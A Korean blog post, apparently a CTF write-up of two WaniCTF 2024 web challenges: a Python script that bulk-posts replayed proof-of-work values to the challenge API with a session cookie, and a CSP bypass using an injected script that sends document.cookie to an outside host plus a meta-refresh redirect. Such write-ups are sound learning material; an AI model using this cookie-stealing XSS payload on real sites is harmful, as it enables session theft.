ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WANI CTF - 2024
    대회/2024 2024. 6. 28. 19:25

     

    일본 오사카 대학 CTF 동아리 Wani Hackase가 주관하는 WANI CTF에 참가하였다.

     

    MISC / Web / System / Forensics / Crypto / Reversing / Pwnable 로 구성되어 있으며 Web 위주의 문제를 해결하였다.


    POW

    client localStorage에서 "pow_progress"가 증가하여 표시가 됨

     

    해당 값을 CryptoJS.SHA256을 이용하여 해시를 10번 진행하고 0xFFFFFF00이랑 비트 연산을 하여 값을 비교

     

     

    또한 array []로 저장하여 JSON.stringify를 사용하여 json타입으로 변환 후 /api/pow로 보내게 된다.

     

    따라서 해당 값을 찾아 array로 만든 후 데이터를 전송하면 된다.

     

    여기서 값을 하나 씩 보내면 너무 적으므로 서버가 받을 수 있는 양과 시간을 조심해서 패킷을 만들면 된다.

    import requests
    import time
    import json
    
    url = "https://web-pow-lz56g6.wanictf.org/api/pow"
    
    headers = {
        "Cookie": "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiIxNmUxNzAxNS1iNWU1LTQ3MDItYjQ2OS0xMzJkOGYyMWM5NzkifQ.lYZk9JqeBaaT6NboibOqMtWGtfimHjxxyhvbOLPi7Y0",
    }
    
    data_array1 = ["45707619"] * 87000
    data_array2 = ["52592778"] * 87000
    data_array3 = ["69994497"] * 87000
    data_array4 = ["63001396"] * 87000
    
    # JSON 형식으로 변환
    json_data1 = json.dumps(data_array1)
    json_data2 = json.dumps(data_array2)
    json_data3 = json.dumps(data_array3)
    json_data4 = json.dumps(data_array4)
    # print(json_data)
    
    
    for i in range(1, 100000):
        if i % 4 == 0:
            print("sleeping...")
            time.sleep(5)
        res = requests.post(url, data=json_data1, headers=headers)
        print(res.status_code)
        time.sleep(1)
    
        res = requests.post(url, data=json_data2, headers=headers)
        print(res.status_code)
        time.sleep(1)
    
        res = requests.post(url, data=json_data3, headers=headers)
        print(res.status_code)
        time.sleep(1)
    
        res = requests.post(url, data=json_data4, headers=headers)
        print(res.status_code)
        time.sleep(1)


    NoScript

     

    CSP가 적용된 문제를 우회하여 해결하는 문제이다

     

    /username/:id 부분에 똑같이 user profile을 불러오지만 CSP가 적용되지 않음을 볼 수 있다.

     

    이를 통해 Username에 쿠키를 탈취하는 script를 profile에 meta를 이용해서 페이지 리다이렉션을 시킨다.

     

    <script>location.href="https://example.com?coo"+document.cookie</script>

    </p></body></html><html><head><meta http-equiv="refresh" content="5;URL='/username/d253fc5b-14b9-4291-9ac1-c7c89f61c9bc"></head><body><p>

     


    Wani CTF를 풀어보면서 CSP(Content Security Policy)라는 것을 알게 되었고, 적용되지 않은 페이지가 있다면 해당 페이지로 이동하여 작동하는 원리를 알게 되었다.

    '대회 > 2024' 카테고리의 다른 글

    AKASEC CTF 2024  (1) 2024.06.21
Designed by Tistory.